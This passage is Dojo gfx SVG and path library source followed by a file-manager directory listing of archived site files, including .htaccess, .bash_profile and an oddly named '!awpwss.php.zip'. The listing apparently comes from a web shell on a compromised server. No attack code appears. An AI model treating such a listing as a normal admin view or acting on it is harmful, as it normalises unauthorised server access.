			gs.Container.clear.call(this, true); 
			this.defNode = null;	// release the external reference
			this.inherited(arguments);
		},
		setDimensions: function(width, height){
			// summary:
			//		sets the width and height of the rawNode
			// width: String
			//		width of surface, e.g., "100px"
			// height: String
			//		height of surface, e.g., "100px"
			if(!this.rawNode){ return this; }
			var w = width < 0 ? 0 : width,
				h = height < 0 ? 0 : height;
			this.rawNode.setAttribute("width",  w);
			this.rawNode.setAttribute("height", h);
			if(hasSvgSetAttributeBug){
				this.rawNode.style.width =  w;
				this.rawNode.style.height =  h;
			}
			return this;	// self
		},
		getDimensions: function(){
			// summary:
			//		returns an object with properties "width" and "height"
			var t = this.rawNode ? {
				width:  g.normalizedLength(this.rawNode.getAttribute("width")),
				height: g.normalizedLength(this.rawNode.getAttribute("height"))} : null;
			return t;	// Object
		}
	});

	svg.createSurface = function(parentNode, width, height){
		// summary:
		//		creates a surface (SVG)
		// parentNode: Node
		//		a parent node
		// width: String|Number
		//		width of surface, e.g., "100px" or 100
		// height: String|Number
		//		height of surface, e.g., "100px" or 100
		// returns: dojox/gfx/shape.Surface
		//     newly created surface

		var s = new svg.Surface();
		s.rawNode = _createElementNS(svg.xmlns.svg, "svg");
		s.rawNode.setAttribute("overflow", "hidden");
		if(width){
			s.rawNode.setAttribute("width",  width < 0 ? 0 : width);
		}
		if(height){
			s.rawNode.setAttribute("height", height < 0 ? 0 : height);
		}

		var defNode = _createElementNS(svg.xmlns.svg, "defs");
		s.rawNode.appendChild(defNode);
		s.defNode = defNode;

		s._parent = dom.byId(parentNode);
		s._parent.appendChild(s.rawNode);

		g._base._fixMsTouchAction(s);

		return s;	// dojox/gfx.Surface
	};

	// Extenders

	var Font = {
		_setFont: function(){
			// summary:
			//		sets a font object (SVG)
			var f = this.fontStyle;
			// next line doesn't work in Firefox 2 or Opera 9
			//this.rawNode.setAttribute("font", dojox.gfx.makeFontString(this.fontStyle));
			this.rawNode.setAttribute("font-style", f.style);
			this.rawNode.setAttribute("font-variant", f.variant);
			this.rawNode.setAttribute("font-weight", f.weight);
			this.rawNode.setAttribute("font-size", f.size);
			this.rawNode.setAttribute("font-family", f.family);
		}
	};

	var C = gs.Container;
	var Container = svg.Container = {
		openBatch: function() {
			// summary:
			//		starts a new batch, subsequent new child shapes will be held in
			//		the batch instead of appending to the container directly
			if(!this._batch){
				this.fragment = _createFragment();
			}
			++this._batch;
			return this;
		},
		closeBatch: function() {
			// summary:
			//		submits the current batch, append all pending child shapes to DOM
			this._batch = this._batch > 0 ? --this._batch : 0;
			if (this.fragment && !this._batch) {
				this.rawNode.appendChild(this.fragment);
				delete this.fragment;
			}
			return this;
		},
		add: function(shape){
			// summary:
			//		adds a shape to a group/surface
			// shape: dojox/gfx/shape.Shape
			//		an VML shape object
			if(this != shape.getParent()){
				if (this.fragment) {
					this.fragment.appendChild(shape.rawNode);
				} else {
					this.rawNode.appendChild(shape.rawNode);
				}
				C.add.apply(this, arguments);
				// update clipnode with new parent
				shape.setClip(shape.clip);
			}
			return this;	// self
		},
		remove: function(shape, silently){
			// summary:
			//		remove a shape from a group/surface
			// shape: dojox/gfx/shape.Shape
			//		an VML shape object
			// silently: Boolean?
			//		if true, regenerate a picture
			if(this == shape.getParent()){
				if(this.rawNode == shape.rawNode.parentNode){
					this.rawNode.removeChild(shape.rawNode);
				}
				if(this.fragment && this.fragment == shape.rawNode.parentNode){
					this.fragment.removeChild(shape.rawNode);
				}
				// remove clip node from parent 
				shape._removeClipNode();
				C.remove.apply(this, arguments);
			}
			return this;	// self
		},
		clear: function(){
			// summary:
			//		removes all shapes from a group/surface
			var r = this.rawNode;
			while(r.lastChild){
				r.removeChild(r.lastChild);
			}
			var defNode = this.defNode;
			if(defNode){
				while(defNode.lastChild){
					defNode.removeChild(defNode.lastChild);
				}
				r.appendChild(defNode);
			}
			return C.clear.apply(this, arguments);
		},
		getBoundingBox: C.getBoundingBox,
		_moveChildToFront: C._moveChildToFront,
		_moveChildToBack:  C._moveChildToBack
	};

	var Creator = svg.Creator = {
		// summary:
		//		SVG shape creators
		createObject: function(shapeType, rawShape){
			// summary:
			//		creates an instance of the passed shapeType class
			// shapeType: Function
			//		a class constructor to create an instance of
			// rawShape: Object
			//		properties to be passed in to the classes "setShape" method
			if(!this.rawNode){ return null; }
			var shape = new shapeType(),
				node = _createElementNS(svg.xmlns.svg, shapeType.nodeType);

			shape.setRawNode(node);
			shape.setShape(rawShape);
			// rawNode.appendChild() will be done inside this.add(shape) below
			this.add(shape);
			return shape;	// dojox/gfx/shape.Shape
		}
	};

	lang.extend(svg.Text, Font);
	lang.extend(svg.TextPath, Font);

	lang.extend(svg.Group, Container);
	lang.extend(svg.Group, gs.Creator);
	lang.extend(svg.Group, Creator);

	lang.extend(svg.Surface, Container);
	lang.extend(svg.Surface, gs.Creator);
	lang.extend(svg.Surface, Creator);

	// Mouse/Touch event
	svg.fixTarget = function(event, gfxElement) {
		// summary:
		//		Adds the gfxElement to event.gfxTarget if none exists. This new
		//		property will carry the GFX element associated with this event.
		// event: Object
		//		The current input event (MouseEvent or TouchEvent)
		// gfxElement: Object
		//		The GFX target element
		if (!event.gfxTarget) {
			if (safMobile && event.target.wholeText) {
				// Workaround iOS bug when touching text nodes
				event.gfxTarget = event.target.parentElement.__gfxObject__;
			} else {
				event.gfxTarget = event.target.__gfxObject__;
			}
		}
		return true;
	};

	// some specific override for svgweb + flash
	if(svg.useSvgWeb){
		// override createSurface()
		svg.createSurface = function(parentNode, width, height){
			var s = new svg.Surface();
			
			width = width < 0 ? 0 : width;
			height = height < 0 ? 0 : height;

			// ensure width / height
			if(!width || !height){
				var pos = domGeom.position(parentNode);
				width  = width  || pos.w;
				height = height || pos.h;
			}

			// ensure id
			parentNode = dom.byId(parentNode);
			var id = parentNode.id ? parentNode.id+'_svgweb' : g._base._getUniqueId();

			// create dynamic svg root
			var mockSvg = _createElementNS(svg.xmlns.svg, 'svg');
			mockSvg.id = id;
			mockSvg.setAttribute('width', width);
			mockSvg.setAttribute('height', height);
			svgweb.appendChild(mockSvg, parentNode);

			// notice: any call to the raw node before flash init will fail.
			mockSvg.addEventListener('SVGLoad', function(){
				// become loaded
				s.rawNode = this;
				s.isLoaded = true;

				// init defs
				var defNode = _createElementNS(svg.xmlns.svg, "defs");
				s.rawNode.appendChild(defNode);
				s.defNode = defNode;

				// notify application
				if (s.onLoad)
					s.onLoad(s);
			}, false);

			// flash not loaded yet
			s.isLoaded = false;
			return s;
		};

		// override Surface.destroy()
		svg.Surface.extend({
			destroy: function(){
				var mockSvg = this.rawNode;
				svgweb.removeChild(mockSvg, mockSvg.parentNode);
			}
		});

		// override connect() & disconnect() for Shape & Surface event processing
		var _eventsProcessing = {
			connect: function(name, object, method){
				// connect events using the mock addEventListener() provided by svgweb
				if (name.substring(0, 2)==='on') { name = name.substring(2); }
				if (arguments.length == 2) {
					method = object;
				} else {
					method = lang.hitch(object, method);
				}
				this.getEventSource().addEventListener(name, method, false);
				return [this, name, method];
			},
			disconnect: function(token){
				// disconnect events using the mock removeEventListener() provided by svgweb
				this.getEventSource().removeEventListener(token[1], token[2], false);
				delete token[0];
			}
		};

		lang.extend(svg.Shape, _eventsProcessing);
		lang.extend(svg.Surface, _eventsProcessing);
	}

	return svg;
});

},
'dojox/gfx/path':function(){
define(["./_base", "dojo/_base/lang","dojo/_base/declare", "./matrix", "./shape"],
	function(g, lang, declare, matrix, shapeLib){

	// module:
	//		dojox/gfx/path

	var Path = declare("dojox.gfx.path.Path", shapeLib.Shape, {
		// summary:
		//		a generalized path shape

		constructor: function(rawNode){
			// summary:
			//		a path constructor
			// rawNode: Node
			//		a DOM node to be used by this path object
			this.shape = lang.clone(g.defaultPath);
			this.segments = [];
			this.tbbox = null;
			this.absolute = true;
			this.last = {};
			this.rawNode = rawNode;
			this.segmented = false;
		},

		// mode manipulations
		setAbsoluteMode: function(mode){
			// summary:
			//		sets an absolute or relative mode for path points
			// mode: Boolean
			//		true/false or "absolute"/"relative" to specify the mode
			this._confirmSegmented();
			this.absolute = typeof mode == "string" ? (mode == "absolute") : mode;
			return this; // self
		},
		getAbsoluteMode: function(){
			// summary:
			//		returns a current value of the absolute mode
			this._confirmSegmented();
			return this.absolute; // Boolean
		},

		getBoundingBox: function(){
			// summary:
			//		returns the bounding box {x, y, width, height} or null
			this._confirmSegmented();
			return (this.bbox && ("l" in this.bbox)) ? {x: this.bbox.l, y: this.bbox.t, width: this.bbox.r - this.bbox.l, height: this.bbox.b - this.bbox.t} : null; // dojox/gfx.Rectangle
		},

		_getRealBBox: function(){
			// summary:
			//		returns an array of four points or null
			//		four points represent four corners of the untransformed bounding box
			this._confirmSegmented();
			if(this.tbbox){
				return this.tbbox;	// Array
			}
			var bbox = this.bbox, matrix = this._getRealMatrix();
			this.bbox = null;
			for(var i = 0, len = this.segments.length; i < len; ++i){
				this._updateWithSegment(this.segments[i], matrix);
			}
			var t = this.bbox;
			this.bbox = bbox;
			this.tbbox = t ? [
				{x: t.l, y: t.t},
				{x: t.r, y: t.t},
				{x: t.r, y: t.b},
				{x: t.l, y: t.b}
			] : null;
			return this.tbbox;	// Array
		},

		getLastPosition: function(){
			// summary:
			//		returns the last point in the path, or null
			this._confirmSegmented();
			return "x" in this.last ? this.last : null; // Object
		},

		_applyTransform: function(){
			this.tbbox = null;
			return this.inherited(arguments);
		},

		// segment interpretation
		_updateBBox: function(x, y, m){
			// summary:
			//		updates the bounding box of path with new point
			// x: Number
			//		an x coordinate
			// y: Number
			//		a y coordinate

			if(m){
				var t = matrix.multiplyPoint(m, x, y);
				x = t.x;
				y = t.y;
			}

			// we use {l, b, r, t} representation of a bbox
			if(this.bbox && ("l" in this.bbox)){
				if(this.bbox.l > x) this.bbox.l = x;
				if(this.bbox.r < x) this.bbox.r = x;
				if(this.bbox.t > y) this.bbox.t = y;
				if(this.bbox.b < y) this.bbox.b = y;
			}else{
				this.bbox = {l: x, b: y, r: x, t: y};
			}
		},
		_updateWithSegment: function(segment, matrix){
			// summary:
			//		updates the bounding box of path with new segment
			// segment: Object
			//		a segment
			var n = segment.args, l = n.length, i;
			// update internal variables: bbox, absolute, last
			switch(segment.action){
				case "M":
				case "L":
				case "C":
				case "S":
				case "Q":
				case "T":
					for(i = 0; i < l; i += 2){
						this._updateBBox(n[i], n[i + 1], matrix);
					}
					this.last.x = n[l - 2];
					this.last.y = n[l - 1];
					this.absolute = true;
					break;
				case "H":
					for(i = 0; i < l; ++i){
						this._updateBBox(n[i], this.last.y, matrix);
					}
					this.last.x = n[l - 1];
					this.absolute = true;
					break;
				case "V":
					for(i = 0; i < l; ++i){
						this._updateBBox(this.last.x, n[i], matrix);
					}
					this.last.y = n[l - 1];
					this.absolute = true;
					break;
				case "m":
					var start = 0;
					if(!("x" in this.last)){
						this._updateBBox(this.last.x = n[0], this.last.y = n[1], matrix);
						start = 2;
					}
					for(i = start; i < l; i += 2){
						this._updateBBox(this.last.x += n[i], this.last.y += n[i + 1], matrix);
					}
					this.absolute = false;
					break;
				case "l":
				case "t":
					for(i = 0; i < l; i += 2){
						this._updateBBox(this.last.x += n[i], this.last.y += n[i + 1], matrix);
					}
					this.absolute = false;
					break;
				case "h":
					for(i = 0; i < l; ++i){
						this._updateBBox(this.last.x += n[i], this.last.y, matrix);
					}
					this.absolute = false;
					break;
				case "v":
					for(i = 0; i < l; ++i){
						this._updateBBox(this.last.x, this.last.y += n[i], matrix);
					}
					this.absolute = false;
					break;
				case "c":
					for(i = 0; i < l; i += 6){
						this._updateBBox(this.last.x + n[i], this.last.y + n[i + 1], matrix);
						this._updateBBox(this.last.x + n[i + 2], this.last.y + n[i + 3], matrix);
						this._updateBBox(this.last.x += n[i + 4], this.last.y += n[i + 5], matrix);
					}
					this.absolute = false;
					break;
				case "s":
				case "q":
					for(i = 0; i < l; i += 4){
						this._updateBBox(this.last.x + n[i], this.last.y + n[i + 1], matrix);
						this._updateBBox(this.last.x += n[i + 2], this.last.y += n[i + 3], matrix);
					}
					this.absolute = false;
					break;
				case "A":
					for(i = 0; i < l; i += 7){
						this._updateBBox(n[i + 5], n[i + 6], matrix);
					}
					this.last.x = n[l - 2];
					this.last.y = n[l - 1];
					this.absolute = true;
					break;
				case "a":
					for(i = 0; i < l; i += 7){
						this._updateBBox(this.last.x += n[i + 5], this.last.y += n[i + 6], matrix);
					}
					this.absolute = false;
					break;
			}
			// add an SVG path segment
			var path = [segment.action];
			for(i = 0; i < l; ++i){
				path.push(g.formatNumber(n[i], true));
			}
			if(typeof this.shape.path == "string"){
				this.shape.path += path.join("");
			}else{
				for(i = 0, l = path.length; i < l; ++i){
					this.shape.path.push(path[i]);
				}
			}
		},

		// a dictionary, which maps segment type codes to a number of their arguments
		_validSegments: {m: 2, l: 2, h: 1, v: 1, c: 6, s: 4, q: 4, t: 2, a: 7, z: 0},

		_pushSegment: function(action, args){
			// summary:
			//		adds a segment
			// action: String
			//		valid SVG code for a segment's type
			// args: Array
			//		a list of parameters for this segment
			this.tbbox = null;
			var group = this._validSegments[action.toLowerCase()], segment;
			if(typeof group == "number"){
				if(group){
					if(args.length >= group){
						segment = {action: action, args: args.slice(0, args.length - args.length % group)};
						this.segments.push(segment);
						this._updateWithSegment(segment);
					}
				}else{
					segment = {action: action, args: []};
					this.segments.push(segment);
					this._updateWithSegment(segment);
				}
			}
		},

		_collectArgs: function(array, args){
			// summary:
			//		converts an array of arguments to plain numeric values
			// array: Array
			//		an output argument (array of numbers)
			// args: Array
			//		an input argument (can be values of Boolean, Number, dojox/gfx.Point, or an embedded array of them)
			for(var i = 0; i < args.length; ++i){
				var t = args[i];
				if(typeof t == "boolean"){
					array.push(t ? 1 : 0);
				}else if(typeof t == "number"){
					array.push(t);
				}else if(t instanceof Array){
					this._collectArgs(array, t);
				}else if("x" in t && "y" in t){
					array.push(t.x, t.y);
				}
			}
		},

		// segments
		moveTo: function(){
			// summary:
			//		forms a move segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "M" : "m", args);
			return this; // self
		},
		lineTo: function(){
			// summary:
			//		forms a line segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "L" : "l", args);
			return this; // self
		},
		hLineTo: function(){
			// summary:
			//		forms a horizontal line segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "H" : "h", args);
			return this; // self
		},
		vLineTo: function(){
			// summary:
			//		forms a vertical line segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "V" : "v", args);
			return this; // self
		},
		curveTo: function(){
			// summary:
			//		forms a curve segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "C" : "c", args);
			return this; // self
		},
		smoothCurveTo: function(){
			// summary:
			//		forms a smooth curve segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "S" : "s", args);
			return this; // self
		},
		qCurveTo: function(){
			// summary:
			//		forms a quadratic curve segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "Q" : "q", args);
			return this; // self
		},
		qSmoothCurveTo: function(){
			// summary:
			//		forms a quadratic smooth curve segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "T" : "t", args);
			return this; // self
		},
		arcTo: function(){
			// summary:
			//		forms an elliptic arc segment
			this._confirmSegmented();
			var args = [];
			this._collectArgs(args, arguments);
			this._pushSegment(this.absolute ? "A" : "a", args);
			return this; // self
		},
		closePath: function(){
			// summary:
			//		closes a path
			this._confirmSegmented();
			this._pushSegment("Z", []);
			return this; // self
		},

		_confirmSegmented: function() {
			if (!this.segmented) {
				var path = this.shape.path;
				// switch to non-updating version of path building
				this.shape.path = [];
				this._setPath(path);
				// switch back to the string path
				this.shape.path = this.shape.path.join("");
				// become segmented
				this.segmented = true;
			}
		},

		// setShape
		_setPath: function(path){
			// summary:
			//		forms a path using an SVG path string
			// path: String
			//		an SVG path string
			var p = lang.isArray(path) ? path : path.match(g.pathSvgRegExp);
			this.segments = [];
			this.absolute = true;
			this.bbox = {};
			this.last = {};
			if(!p) return;
			// create segments
			var action = "",	// current action
				args = [],		// current arguments
				l = p.length;
			for(var i = 0; i < l; ++i){
				var t = p[i], x = parseFloat(t);
				if(isNaN(x)){
					if(action){
						this._pushSegment(action, args);
					}
					args = [];
					action = t;
				}else{
					args.push(x);
				}
			}
			this._pushSegment(action, args);
		},
		setShape: function(newShape){
			// summary:
			//		forms a path using a shape
			// newShape: Object
			//		an SVG path string or a path object (see dojox/gfx.defaultPath)
			this.inherited(arguments, [typeof newShape == "string" ? {path: newShape} : newShape]);

			this.segmented = false;
			this.segments = [];
			if(!g.lazyPathSegmentation){
				this._confirmSegmented();
			}
			return this; // self
		},

		// useful constant for descendants
		_2PI: Math.PI * 2
	});

	var TextPath = declare("dojox.gfx.path.TextPath", Path, {
		// summary:
		//		a generalized TextPath shape

		constructor: function(rawNode){
			// summary:
			//		a TextPath shape constructor
			// rawNode: Node
			//		a DOM node to be used by this TextPath object
			if(!("text" in this)){
				this.text = lang.clone(g.defaultTextPath);
			}
			if(!("fontStyle" in this)){
				this.fontStyle = lang.clone(g.defaultFont);
			}
		},
		getText: function(){
			// summary:
			//		returns the current text object or null
			return this.text;	// Object
		},
		setText: function(newText){
			// summary:
			//		sets a text to be drawn along the path
			this.text = g.makeParameters(this.text,
				typeof newText == "string" ? {text: newText} : newText);
			this._setText();
			return this;	// self
		},
		getFont: function(){
			// summary:
			//		returns the current font object or null
			return this.fontStyle;	// Object
		},
		setFont: function(newFont){
			// summary:
			//		sets a font for text
			this.fontStyle = typeof newFont == "string" ?
				g.splitFontString(newFont) :
				g.makeParameters(g.defaultFont, newFont);
			this._setFont();
			return this;	// self
		}
	});

	/*=====
	g.Path = Path;
	g.TextPath = TextPath;
	=====*/

	return g.path = {
		// summary:
		//		This module contains the core graphics Path API.
		//		Path command format follows the W3C SVG 1.0 Path api.

		Path: Path,
		TextPath: TextPath
	};
});

}}});
define("dojo/pmbmaps", [], 1);

Filemanager

Name Type Size Permission Actions
!awpwss.php.zip File 1.21 KB 0604
-20260529124522-20260621211500.tar File 1.72 MB 0604
-20260529124522-20260621211500.tar.gz File 128.26 KB 0604
-20260529124522-20260621211500.zip File 1.71 MB 0604
-20260529124522.tar File 1.84 MB 0604
-20260529124522.tar.gz File 143.95 KB 0604
-20260529124522.zip File 1.83 MB 0604
.bash_profile.tar File 2 KB 0604
.cache.tar File 2 KB 0604
.cache.zip File 445 B 0604
.htaccess.tar File 28 KB 0604
.stylelintrc.json.tar File 2 KB 0604
.tmb.tar File 1.72 MB 0604
.tmb.zip File 35.83 MB 0604
04.tar File 9.78 MB 0604
04.tar.gz File 8.51 MB 0604
04.zip File 9.71 MB 0604
1-grid.css.tar File 6.5 KB 0604
1-grid.css.tar.gz File 701 B 0604
1.tar File 12.5 KB 0604
1.tar.gz File 2.36 KB 0604
1.zip File 7.95 KB 0604
2-150x150.jpg.tar File 17.5 KB 0604
2-150x150.jpg.tar.gz File 4.78 KB 0604
2-300x61.jpg.tar File 19 KB 0604
2-300x61.jpg.tar.gz File 4.95 KB 0604
2-768x156.jpg.tar File 56.5 KB 0604
2-768x156.jpg.tar.gz File 17 KB 0604
2-base.css.tar File 21.5 KB 0604
2-base.css.tar.gz File 4.65 KB 0604
2.jpg.tar File 195 KB 0604
2.jpg.tar.gz File 36.21 KB 0604
2017.tar File 9.78 MB 0604
2017.tar.gz File 8.5 MB 0604
2017.zip File 9.72 MB 0604
2023.tar File 95.5 KB 0604
2023.tar.gz File 4.52 KB 0604
2023.zip File 150.29 KB 0604
2024-20260618183300-20260621140042.zip File 81.12 KB 0604
2024-20260618183300.zip File 51.57 MB 0604
2024-20260621194257.zip File 81.12 KB 0604
2024.tar File 3.37 MB 0604
2024.tar.gz File 6.29 KB 0604
2024.zip File 3.63 MB 0604
2025.tar File 1.71 MB 0604
2025.tar.gz File 116.09 KB 0604
2025.zip File 0 B 0604
24-1-150x150.jpg.tar File 19 KB 0604
24-1-150x150.jpg.tar.gz File 5.17 KB 0604
24-1-300x170.jpg.tar File 28 KB 0604
24-1-300x170.jpg.tar.gz File 8.34 KB 0604
24-1.jpg.tar File 22 KB 0604
24-1.jpg.tar.gz File 6.56 KB 0604
5-150x150.jpg.tar File 13 KB 0604
5-150x150.jpg.tar.gz File 0 B 0604
5-300x61.jpg.tar File 22 KB 0604
5-300x61.jpg.tar.gz File 5.95 KB 0604
5-768x156.jpg.tar File 46 KB 0604
5-768x156.jpg.tar.gz File 21.07 KB 0604
5.jpg.tar File 173.5 KB 0604
5.jpg.tar.gz File 44.65 KB 0604
ARC2_DcExtractor.php.tar File 3.5 KB 0604
ARC2_DcExtractor.php.tar.gz File 0 B 0604
ARC2_ErdfExtractor.php.tar File 10 KB 0604
ARC2_ErdfExtractor.php.tar.gz File 2 KB 0604
ARC2_OpenidExtractor.php.tar File 3.5 KB 0604
ARC2_OpenidExtractor.php.tar.gz File 733 B 0604
ARC2_PoshRdfExtractor.php.tar File 9.5 KB 0604
ARC2_PoshRdfExtractor.php.tar.gz File 2.41 KB 0604
ARC2_RDFExtractor.php.tar File 7.5 KB 0604
ARC2_RDFExtractor.php.tar.gz File 1.74 KB 0604
ARC2_RDFSerializer.php.tar File 3 KB 0604
ARC2_RDFSerializer.php.tar.gz File 667 B 0604
ARC2_RSS10Serializer.php.tar File 2.5 KB 0604
ARC2_RSS10Serializer.php.tar.gz File 454 B 0604
ARC2_RdfaExtractor.php.tar File 15 KB 0604
ARC2_RdfaExtractor.php.tar.gz File 3.06 KB 0604
Addon.zip File 24.6 KB 0604
Base.zip File 73.87 KB 0604
BgOptimizer.tar File 5.5 KB 0604
BgOptimizer.tar.gz File 1.27 KB 0604
BgOptimizer.zip File 3.98 KB 0604
CHANGELOG.md.tar File 109 KB 0604
CHANGELOG.md.tar.gz File 14.25 KB 0604
CHANGES.html.tar File 24.5 KB 0604
CHANGES.html.tar.gz File 8.23 KB 0604
CONTRIBUTING.md.tar File 6.5 KB 0604
CONTRIBUTING.md.tar.gz File 1.8 KB 0604
COPYRIGHT.tar File 5 KB 0604
COPYRIGHT.tar.gz File 1.78 KB 0604
Cache.js.tar File 7 KB 0604
Cache.js.tar.gz File 1.64 KB 0604
Core.zip File 350.54 KB 0604
Cron.zip File 24.2 KB 0604
DataStore.js.tar File 9.5 KB 0604
DataStore.js.tar.gz File 2.48 KB 0604
Deprecated.zip File 13 KB 0604
Diff.tar File 7.5 KB 0604
Diff.tar.gz File 4.33 KB 0604
Diff.zip File 5.7 KB 0604
FCTERTIAIRE-1024x683.jpg.tar File 51.5 KB 0604
FCTERTIAIRE-1024x683.jpg.tar.gz File 48.3 KB 0604
FCTERTIAIRE-150x150.jpg.tar File 7 KB 0604
FCTERTIAIRE-150x150.jpg.tar.gz File 5.24 KB 0604
FCTERTIAIRE-300x200.jpg.tar File 11 KB 0604
FCTERTIAIRE-300x200.jpg.tar.gz File 9.21 KB 0604
FCTERTIAIRE-768x512.jpg.tar File 34.5 KB 0604
FCTERTIAIRE-768x512.jpg.tar.gz File 0 B 0604
FCTERTIAIRE.jpg.tar File 131 KB 0604
FCTERTIAIRE.jpg.tar.gz File 56.59 KB 0604
FONTS.hpux.html.tar File 7 KB 0604
FONTS.hpux.html.tar.gz File 2.03 KB 0604
FONTS.html.tar File 28 KB 0604
FONTS.html.tar.gz File 8.98 KB 0604
Firebug.tar File 5 KB 0604
Firebug.tar.gz File 948 B 0604
Firebug.zip File 3.55 KB 0604
FreeMono.ttf.tar File 288.5 KB 0604
FreeMono.ttf.tar.gz File 109.15 KB 0604
FreeMonoBold.ttf.tar File 172.5 KB 0604
FreeMonoBold.ttf.tar.gz File 66.4 KB 0604
FreeMonoBoldOblique.ttf.tar File 127 KB 0604
FreeMonoBoldOblique.ttf.tar.gz File 0 B 0604
FreeMonoOblique.ttf.tar File 173 KB 0604
FreeMonoOblique.ttf.tar.gz File 80.21 KB 0604
FreeSans.ttf.tar File 259.5 KB 0604
FreeSans.ttf.tar.gz File 145.52 KB 0604
FreeSansBoldOblique.ttf.tar File 95 KB 0604
FreeSansBoldOblique.ttf.tar.gz File 45 KB 0604
FreeSerif.ttf.tar File 608.5 KB 0604
FreeSerif.ttf.tar.gz File 307.72 KB 0604
FreeSerifBold.ttf.tar File 196 KB 0604
FreeSerifBold.ttf.tar.gz File 96.32 KB 0604
FreeSerifBoldItalic.ttf.tar File 125 KB 0604
FreeSerifBoldItalic.ttf.tar.gz File 64.71 KB 0604
FreeSerifItalic.ttf.tar File 153 KB 0604
FreeSerifItalic.ttf.tar.gz File 0 B 0604
ID3.tar File 5 KB 0604
ID3.tar.gz File 1.27 KB 0604
ID3.zip File 3.62 KB 0604
JsonRest.js.tar File 9.5 KB 0604
JsonRest.js.tar.gz File 2.56 KB 0604
LICENSE.tar File 42 KB 0604
LICENSE.tar.gz File 11.97 KB 0604
Makefile.tar File 9.5 KB 0604
Makefile.tar.gz File 2.71 KB 0604
Memory.js.tar File 6.5 KB 0604
Memory.js.tar.gz File 1.81 KB 0604
Metas.zip File 30.09 KB 0604
OPAC_page_resultat.html.tar File 4 KB 0604
OPAC_page_resultat.html.tar.gz File 1.11 KB 0604
OPAC_struct_accueil.html.tar File 5 KB 0604
OPAC_struct_accueil.html.tar.gz File 1.31 KB 0604
OPAC_struct_navig_autorite.html.tar File 3.5 KB 0604
OPAC_struct_navig_autorite.html.tar.gz File 1.01 KB 0604
Observable.js.tar File 8.5 KB 0604
Observable.js.tar.gz File 2.48 KB 0604
Offload.tar File 8.5 KB 0604
Offload.tar.gz File 1.72 KB 0604
Offload.zip File 5.98 KB 0604
PHPMailer.tar File 25 KB 0604
PHPMailer.tar.gz File 5.67 KB 0604
PHPMailer.zip File 21.49 KB 0604
PROGRAMME2017-pdf-1024x724.jpg.tar File 151.5 KB 0604
PROGRAMME2017-pdf-1024x724.jpg.tar.gz File 132.55 KB 0604
PROGRAMME2017-pdf-150x106.jpg.tar File 8.5 KB 0604
PROGRAMME2017-pdf-150x106.jpg.tar.gz File 6.69 KB 0604
PROGRAMME2017-pdf-300x212.jpg.tar File 20 KB 0604
PROGRAMME2017-pdf-300x212.jpg.tar.gz File 17.74 KB 0604
PROGRAMME2017-pdf.jpg.tar File 295 KB 0604
PROGRAMME2017-pdf.jpg.tar.gz File 243.95 KB 0604
PROGRAMME2017.pdf.tar File 309 KB 0604
PROGRAMME2017.pdf.tar.gz File 140 KB 0604
Pages.zip File 29.83 KB 0604
Posts.zip File 49.93 KB 0604
Preload.tar File 5.5 KB 0604
Preload.tar.gz File 1.25 KB 0604
Preload.zip File 3.96 KB 0604
README.html.tar File 48 KB 0604
README.html.tar.gz File 15.93 KB 0604
README.tar File 3.5 KB 0604
README.tar.gz File 656 B 0604
Requests.tar File 43 KB 0604
Requests.tar.gz File 10.14 KB 0604
Requests.zip File 38.9 KB 0604
SimplePie.tar File 155 KB 0604
SimplePie.tar.gz File 10.26 KB 0604
SimplePie.zip File 128.74 KB 0604
Slide_solaire-1024x427.jpg.tar File 98.5 KB 0604
Slide_solaire-1024x427.jpg.tar.gz File 96.2 KB 0604
Slide_solaire-150x150.jpg.tar File 9.5 KB 0604
Slide_solaire-150x150.jpg.tar.gz File 7.75 KB 0604
Slide_solaire-300x125.jpg.tar File 15.5 KB 0604
Slide_solaire-300x125.jpg.tar.gz File 13.67 KB 0604
Slide_solaire-768x320.jpg.tar File 65 KB 0604
Slide_solaire-768x320.jpg.tar.gz File 62.83 KB 0604
Slide_solaire.jpg.tar File 317 KB 0604
Slide_solaire.jpg.tar.gz File 142.02 KB 0604
Standby.js.tar File 11.5 KB 0604
Standby.js.tar.gz File 3.03 KB 0604
Terms.zip File 36.88 KB 0604
Text.tar File 7.5 KB 0604
Text.tar.gz File 4.33 KB 0604
Text.zip File 5.71 KB 0604
Tracker.php.tar File 3 KB 0604
Tracker.php.tar.gz File 780 B 0604
Uploader.js.tar File 22 KB 0604
Uploader.js.tar.gz File 5.99 KB 0604
Users.zip File 39.59 KB 0604
XMLlist.class.php.tar File 12 KB 0604
XMLlist.class.php.tar.gz File 2.63 KB 0604
XMLtabs.class.php.tar File 4 KB 0604
XMLtabs.class.php.tar.gz File 1.08 KB 0604
_inc.tar File 74 KB 0604
_inc.tar.gz File 15.83 KB 0604
_inc.zip File 74.44 KB 0604
abonnement.tar File 10.5 KB 0604
abonnement.tar.gz File 2.13 KB 0604
abonnement.zip File 8.05 KB 0604
abonnement_duplique.php.tar File 3.5 KB 0604
abonnement_duplique.php.tar.gz File 932 B 0604
abonnement_main.inc.php.tar File 2 KB 0604
abonnement_main.inc.php.tar.gz File 349 B 0604
about-rtl.css.tar File 54 KB 0604
about-rtl.css.tar.gz File 4.81 KB 0604
about-rtl.min.css.tar File 21.5 KB 0604
about-rtl.min.css.tar.gz File 3.92 KB 0604
about.css.tar File 54 KB 0604
about.css.tar.gz File 4.78 KB 0604
abstract.tar File 12.5 KB 0604
abstract.tar.gz File 2.42 KB 0604
abstract.zip File 10.07 KB 0604
academy.zip File 6.66 KB 0604
account.php.tar File 35 KB 0604
account.php.tar.gz File 6.42 KB 0604
achats.tar File 342 KB 0604
achats.tar.gz File 59.82 KB 0604
achats.zip File 332.83 KB 0604
acidule.css.tar File 23.5 KB 0604
acidule.css.tar.gz File 5.08 KB 0604
acidule.tar File 35 KB 0604
acidule.tar.gz File 6.92 KB 0604
acidule.zip File 29.93 KB 0604
